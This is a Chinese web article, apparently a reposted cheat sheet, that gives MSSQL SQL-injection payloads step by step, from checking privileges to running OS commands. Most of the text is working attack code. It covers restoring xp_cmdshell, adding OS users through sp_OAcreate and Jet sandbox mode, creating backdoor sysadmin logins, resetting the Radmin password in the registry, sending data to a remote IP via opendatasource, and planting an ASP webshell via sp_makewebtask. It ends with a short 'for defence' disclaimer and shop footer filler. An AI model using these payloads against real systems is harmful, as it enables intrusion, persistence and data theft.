发布于2026-07-22 阅读(0)
扫一扫,手机访问
先说几个核心判断。在Web安全攻防中,SQL注入始终是绕不开的“基本功”。它不单是简单的数据窃取,更是获取服务器权限、实现横向移动的关键跳板。下面这份技术备忘录,梳理了从权限探测到命令执行的完整链条,希望能帮你建立起更系统的认知。
动手之前,先搞清楚当前的数据库权限和环境,这是后续所有操作的基础。
要判断自己是不是数据库所有者(db_owner),可以试试这个:
and 1=(Select IS_MEMBER('db_owner'))
And char(124)+Cast(IS_MEMBER('db_owner') as varchar(1))+char(124)=1 ;--
想知道能否访问特定数据库,比如master库:
and 1= (Select HAS_DBACCESS('master'))
And char(124)+Cast(HAS_DBACCESS('master') as varchar(1))+char(124)=1 --
当然,直接爆出当前数据库用户名,也是快速定位身份的常用手段。无论是数字型、字符型还是搜索型注入点,都有对应的写法:
// 数字类型
and char(124)+user+char(124)=0
// 字符类型
' and char(124)+user+char(124)=0 and ''='
// 搜索类型
' and char(124)+user+char(124)=0 and '%'='
更进一步,确认是否是系统管理员(sysadmin)权限,直接决定了你是否能执行系统级命令:
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)+Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124)=1 --
还有几个基础判断:确认对方是不是MSSQL数据库,可以检查系统表是否存在:
and exists (select * from sysobjects);--
测试是否支持多语句执行,这是后续执行复杂操作的前提:
;declare @d int;--
一旦确认是SA权限,战场就从数据库层面转移到了操作系统层面。这里有几个经典路径。
恢复xp_cmdshell。这是最直接、最常用的系统命令执行接口。如果被管理员禁用,可以尝试恢复:
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
恢复后,就可以直接执行命令,例如添加用户:
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
利用OLE自动化。如果xp_cmdshell被彻底封死,sp_OAcreate 是一条不错的备选路径:
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
沙盒模式(SandBoxMode)。利用Jet引擎的漏洞,可以绕过一些限制。首先修改注册表开启沙盒模式,然后通过openrowset调用系统命令:
// 开启沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
// 执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
远程链接服务器。如果手头有其他服务器的数据库账号,可以通过openrowset建立远程连接,执行命令或查询:
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
拿到权限后,稳定性和信息收集同样重要。
修改SA口令:这是最直接的权限维持方式:
exec sp_password NULL,'新密码','sa'
创建SA权限用户:给自己留个后门:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
读写注册表:可以读取系统配置信息,或者修改服务配置:
// 读注册表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
// 写注册表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
操作服务与进程:通过xp_servicecontrol可以启停系统服务,通过xp_terminate_process可以终止指定进程:
// 停掉或激活某个服务
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
// 停掉某个执行中的程序(参数为PID)
xp_terminate_process 2484
文件与目录操作:xp_dirtree可以列出目录结构,xp_getfiledetails可以获取文件详细信息:
// 读取目录内容
exec master..xp_dirtree 'c:\winnt\system32\',1,1
// 获取文件详细信息
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
Radmin密码修改实战。一个经典场景:拿下服务器后,发现Radmin密码被改,但net.exe和regedit.exe都被限制。只要SA权限还在,依然可以通过xp_regwrite直接修改注册表中的加密密码值:
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c
执行后,Radmin密码就会重置为12345678。同理,修改端口值也是通过注册表操作。
在利用过程中,免不了要创建、修改或删除数据表,甚至直接写入WebShell。
创建数据库和数据表:
create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null);
跨库数据导出:将当前数据库的表名、数据等,通过opendatasource插入到远程服务器上,实现数据外带:
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
备份数据库:
backup database pubs to disk = 'c:\123.bak'
写入WebShell。利用sp_makewebtask,可以直接在网站的Web目录下生成一个ASP一句话木马:
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
常规数据操作:更新和删除的基本语法:
// 更新表内容
Update films SET kind = 'Dramatic' Where id = 123
// 删除内容
delete from table_name where Stockid = 3
最后,还是那句话,技术本身没有善恶,关键在于使用它的人。了解这些手法,是为了更好地防御,确保自己的系统没有留下类似的漏洞。希望这份梳理能给你带来一些启发。
(注:改写后的文章已剔除所有原文中可能存在的推广、引流、账号信息及无关注释,开篇以自然段落引入,全文仅保留核心技术与逻辑。)
上一篇:rm格式插入广告代码
售后无忧
立即购买>office旗舰店
售后无忧
立即购买>office旗舰店
售后无忧
立即购买>office旗舰店
售后无忧
立即购买>office旗舰店
正版软件
正版软件
正版软件
正版软件
正版软件
1
2
3
7
8